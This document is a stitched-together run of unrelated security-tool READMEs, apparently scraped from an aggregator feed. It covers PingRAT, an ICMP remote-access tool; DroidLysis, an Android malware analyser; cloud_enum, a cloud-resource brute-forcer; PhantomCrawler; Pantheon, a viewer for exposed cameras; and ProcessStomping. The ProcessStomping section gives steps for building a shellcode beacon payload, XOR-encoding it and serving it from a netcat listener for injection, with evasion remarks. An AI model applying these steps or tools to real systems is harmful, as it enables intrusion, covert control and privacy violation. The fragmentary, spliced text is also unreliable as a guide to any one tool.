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Download the binaries
or build the binaries and you are ready to go:
FreshRSS $ git clone https://github.com/Nemesis0U/PingRAT.git
$ go build client.go
$ go build server.go
./server -h
Usage of ./server:
-d string
Destination IP address
-i string
Listener (virtual) Network Interface (e.g. eth0)
./client -h
Usage of ./client:
-d string
Destination IP address
-i string
(Virtual) Network Interface (e.g., eth0)
DroidLysis is a pre-analysis tool for Android apps: it performs repetitive and boring tasks we'd typically do at the beginning of any reverse engineering. It disassembles the Android sample, organizes output in directories, and searches for suspicious spots in the code to look at. The output helps the reverse engineer speed up the first few steps of analysis.
DroidLysis can be used over Android packages (apk), Dalvik executables (dex), Zip files (zip), Rar files (rar) or directories of files.
sudo apt-get install default-jre git python3 python3-pip unzip wget libmagic-dev libxml2-dev libxslt-dev
Install Android disassembly tools
Apktool ,
$ mkdir -p ~/softs
$ cd ~/softs
$ wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
$ wget https://bitbucket.org/JesusFreke/smali/downloads/baksmali-2.5.2.jar
$ wget https://github.com/pxb1988/dex2jar/releases/download/v2.4/dex-tools-v2.4.zip
$ unzip dex-tools-v2.4.zip
$ rm -f dex-tools-v2.4.zip
Install from Git in a Python virtual environment (python3 -m venv, or pyenv virtual environments etc).
$ python3 -m venv venv
$ source ./venv/bin/activate
(venv) $ pip3 install git+https://github.com/cryptax/droidlysis
Alternatively, you can install DroidLysis directly from PyPi (pip3 install droidlysis).
conf/general.conf. In particular make sure to change /home/axelle with your appropriate directories.[tools]
apktool = /home/axelle/softs/apktool_2.9.3.jar
baksmali = /home/axelle/softs/baksmali-2.5.2.jar
dex2jar = /home/axelle/softs/dex-tools-v2.4/d2j-dex2jar.sh
procyon = /home/axelle/softs/procyon-decompiler-0.5.30.jar
keytool = /usr/bin/keytool
...
python3 ./droidlysis3.py --help
The configuration file is ./conf/general.conf (you can switch to another file with the --config option). This is where you configure the location of various external tools (e.g. Apktool), the name of pattern files (by default ./conf/smali.conf, ./conf/wide.conf, ./conf/arm.conf, ./conf/kit.conf) and the name of the database file (only used if you specify --enable-sql)
Be sure to specify the correct paths for disassembly tools, or DroidLysis won't find them.
DroidLysis uses Python 3. To launch it and get options:
droidlysis --help
For example, test it on Signal's APK:
droidlysis --input Signal-website-universal-release-6.26.3.apk --output /tmp --config /PATH/TO/DROIDLYSIS/conf/general.conf
DroidLysis outputs:
--output /tmp, the analysis will be written to /tmp/Signalwebsiteuniversalrelease4.52.4.apk-f3c7d5e38df23925dd0b2fe1f44bfa12bac935a6bc8fe3a485a4436d4487a290.droidlysis.db) containing properties it noticed.Get usage with droidlysis --help
The input can be a file or a directory of files to recursively look into. DroidLysis knows how to process Android packages, DEX, ODEX and ARM executables, ZIP, RAR. DroidLysis won't fail on other type of files (unless there is a bug...) but won't be able to understand the content.
When processing directories of files, it is typically quite helpful to move processed samples to another location to know what has been processed. This is handled by option --movein. Also, if you are only interested in statistics, you should probably clear the output directory which contains detailed information for each sample: this is option --clearoutput. If you want to store all statistics in a SQL database, use --enable-sql (see here)
DEX decompilation is quite long with Procyon, so this option is disabled by default. If you want to decompile to Java, use --enable-procyon.
DroidLysis's analysis does not inspect known 3rd party SDK by default, i.e. for instance it won't report any suspicious activity from these. If you want them to be inspected, use option --no-kit-exception. This usually creates many more detected properties for the sample, as SDKs (e.g. advertisment) use lots of flagged APIs (get GPS location, get IMEI, get IMSI, HTTP POST...).
--output DIR)This directory contains (when applicable):
AndroidManifest.xml
res
lib, assets assets
smali (and others)META-INF
./unzipped
classes.dex (and others), and converted to jar: classes-dex2jar.jar, and unjarred in ./unjarred
The following files are generated by DroidLysis:
autoanalysis.md: lists each pattern DroidLysis detected and where.report.md: same as what was printed on the consoleIf you do not need the sample output directory to be generated, use the option --clearoutput.
--import-exodus)$ python3 ./droidlysis3.py --import-exodus --verbose
Processing file: ./droidurl.pyc ...
DEBUG:droidconfig.py:Reading configuration file: './conf/./smali.conf'
DEBUG:droidconfig.py:Reading configuration file: './conf/./wide.conf'
DEBUG:droidconfig.py:Reading configuration file: './conf/./arm.conf'
DEBUG:droidconfig.py:Reading configuration file: '/home/axelle/.cache/droidlysis/./kit.conf'
DEBUG:droidproperties.py:Importing ETIP Exodus trackers from https://etip.exodus-privacy.eu.org/api/trackers/?format=json
DEBUG:connectionpool.py:Starting new HTTPS connection (1): etip.exodus-privacy.eu.org:443
DEBUG:connectionpool.py:https://etip.exodus-privacy.eu.org:443 "GET /api/trackers/?format=json HTTP/1.1" 200 None
DEBUG:droidproperties.py:Appending imported trackers to /home/axelle/.cache/droidlysis/./kit.conf
Trackers from Exodus which are not present in your initial kit.conf are appended to ~/.cache/droidlysis/kit.conf. Diff the 2 files and check what trackers you wish to add.
If you want to process a directory of samples, you'll probably like to store the properties DroidLysis found in a database, to easily parse and query the findings. In that case, use the option --enable-sql. This will automatically dump all results in a database named droidlysis.db, in a table named samples. Each entry in the table is relative to a given sample. Each column is properties DroidLysis tracks.
For example, to retrieve all filename, SHA256 sum and smali properties of the database:
sqlite> select sha256, sanitized_basename, smali_properties from samples;
f3c7d5e38df23925dd0b2fe1f44bfa12bac935a6bc8fe3a485a4436d4487a290|Signalwebsiteuniversalrelease4.52.4.apk|{"send_sms": true, "receive_sms": true, "abort_broadcast": true, "call": false, "email": false, "answer_call": false, "end_call": true, "phone_number": false, "intent_chooser": true, "get_accounts": true, "contacts": false, "get_imei": true, "get_external_storage_stage": false, "get_imsi": false, "get_network_operator": false, "get_active_network_info": false, "get_line_number": true, "get_sim_country_iso": true,
...
What DroidLysis detects can be configured and extended in the files of the ./conf directory.
A pattern consist of:
send_sms. This is to name the property. Must be unique across the .conf file.;->sendTextMessage|;->sendMultipartTextMessage|SmsManager;->sendDataMessage. In the smali.conf file, this regexp is match on Smali code. In this particular case, there are 3 different ways to send SMS messages from the code: sendTextMessage, sendMultipartTextMessage and sendDataMessage.[send_sms]
pattern=;->sendTextMessage|;->sendMultipartTextMessage|SmsManager;->sendDataMessage
description=Sending SMS messages
Exodus Privacy maintains a list of various SDKs which are interesting to rule out in our analysis via conf/kit.conf. Add option --import_exodus to the droidlysis command line: this will parse existing trackers Exodus Privacy knows and which aren't yet in your kit.conf. Finally, it will append all new trackers to ~/.cache/droidlysis/kit.conf.
Afterwards, you may want to sort your kit.conf file:
import configparser
import collections
import os
config = configparser.ConfigParser({}, collections.OrderedDict)
config.read(os.path.expanduser('~/.cache/droidlysis/kit.conf'))
# Order all sections alphabetically
config._sections = collections.OrderedDict(sorted(config._sections.items(), key=lambda t: t[0] ))
with open('sorted.conf','w') as f:
config.write(f)
Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.
Currently enumerates the following:
Amazon Web Services: - Open / Protected S3 Buckets - awsapps (WorkMail, WorkDocs, Connect, etc.)
Microsoft Azure: - Storage Accounts - Open Blob Storage Containers - Hosted Databases - Virtual Machines - Web Apps
Google Cloud Platform - Open / Protected GCP Buckets - Open / Protected Firebase Realtime Databases - Google App Engine sites - Cloud Functions (enumerates project/regions with existing functions, then brute forces actual function names) - Open Firebase Apps
See it in action in Codingo's video demo here.
Several non-standard libaries are required to support threaded HTTP requests and dns lookups. You'll need to install the requirements as follows:
pip3 install -r ./requirements.txt
The only required argument is at least one keyword. You can use the built-in fuzzing strings, but you will get better results if you supply your own with -m and/or -b.
You can provide multiple keywords by specifying the -k argument multiple times.
Keywords are mutated automatically using strings from enum_tools/fuzz.txt or a file you provide with the -m flag. Services that require a second-level of brute forcing (Azure Containers and GCP Functions) will also use fuzz.txt by default or a file you provide with the -b flag.
Let's say you were researching "somecompany" whose website is "somecompany.io" that makes a product called "blockchaindoohickey". You could run the tool like this:
./cloud_enum.py -k somecompany -k somecompany.io -k blockchaindoohickey
HTTP scraping and DNS lookups use 5 threads each by default. You can try increasing this, but eventually the cloud providers will rate limit you. Here is an example to increase to 10.
./cloud_enum.py -k keyword -t 10
IMPORTANT: Some resources (Azure Containers, GCP Functions) are discovered per-region. To save time scanning, there is a "REGIONS" variable defined in cloudenum/azure_regions.py and cloudenum/gcp_regions.py that is set by default to use only 1 region. You may want to look at these files and edit them to be relevant to your own work.
Complete Usage Details
usage: cloud_enum.py [-h] -k KEYWORD [-m MUTATIONS] [-b BRUTE]
Multi-cloud enumeration utility. All hail OSINT!
optional arguments:
-h, --help show this help message and exit
-k KEYWORD, --keyword KEYWORD
Keyword. Can use argument multiple times.
-kf KEYFILE, --keyfile KEYFILE
Input file with a single keyword per line.
-m MUTATIONS, --mutations MUTATIONS
Mutations. Default: enum_tools/fuzz.txt
-b BRUTE, --brute BRUTE
List to brute-force Azure container names. Default: enum_tools/fuzz.txt
-t THREADS, --threads THREADS
Threads for HTTP brute-force. Default = 5
-ns NAMESERVER, --nameserver NAMESERVER
DNS server to use in brute-force.
-l LOGFILE, --logfile LOGFILE
Will APPEND found items to specified file.
-f FORMAT, --format FORMAT
Format for log file (text,json,csv - defaults to text)
--disable-aws Disable Amazon checks.
--disable-azure Disable Azure checks.
--disable-gcp Disable Google checks.
-qs, --quickscan Disable all mutations and second-level scans
So far, I have borrowed from: - Some of the permutations from GCPBucketBrute
PhantomCrawler allows users to simulate website interactions through different proxy IP addresses. It leverages Python, requests, and BeautifulSoup to offer a simple and effective way to test website behaviour under varied proxy configurations.
Features:
Usage:
proxies.txt in this format 50.168.163.176:80
How to Use:
git clone https://github.com/spyboy-productions/PhantomCrawler.git
pip3 install -r requirements.txt
python3 PhantomCrawler.py
Disclaimer: PhantomCrawler is intended for educational and testing purposes only. Users are cautioned against any misuse, including potential DDoS activities. Always ensure compliance with the terms of service of websites being tested and adhere to ethical standards.
Pantheon is a GUI application that allows users to display information regarding network cameras in various countries as well as an integrated live-feed for non-protected cameras.
Pantheon allows users to execute an API crawler. There was original functionality without the use of any API's (like Insecam), but Google TOS kept getting in the way of the original scraping mechanism.
git clone https://github.com/josh0xA/Pantheon.gitcd Pantheonpip3 install -r requirements.txtpython3 pantheon.py
chmod +x distros/ubuntu_install.sh./distros/ubuntu_install.shchmod +x distros/debian-kali_install.sh./distros/debian-kali_install.sh(Enter) on a selected IP:Port to establish a Pantheon webview of the camera. (Use this at your own risk)
(Left-click) on a selected IP:Port to view the geolocation of the camera.
(Right-click) on a selected IP:Port to view the HTTP data of the camera (Ctrl+Left-click for Mac).
Adjust the map as you please to see the markers.
The developer of this program, Josh Schiavone, is not resposible for misuse of this data gathering tool. Pantheon simply provides information that can be indexed by any modern search engine. Do not try to establish unauthorized access to live feeds that are password protected - that is illegal. Furthermore, if you do choose to use Pantheon to view a live-feed, do so at your own risk. Pantheon was developed for educational purposes only. For further information, please visit: https://joshschiavone.com/panth_info/panth_ethical_notice.html
MIT License
Copyright (c) Josh Schiavone
A variation of ProcessOverwriting to execute shellcode on an executable's section
For a more detailed explanation you can read my blog post
Process Stomping, is a variation of hasherezade’s Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.
These are the main steps of the ProcessStomping technique:
As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.
All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.
This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.
Select your target process and modify global variables accordingly in ProcessStomping.cpp.
Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
The shellcode blob can then be xored with a key-word and downloaded using a simple socket
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
Deliver the xored blob upon connection
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
The sRDI blob will get erased after execution to remove unneeded artifacts.
To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.
Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.
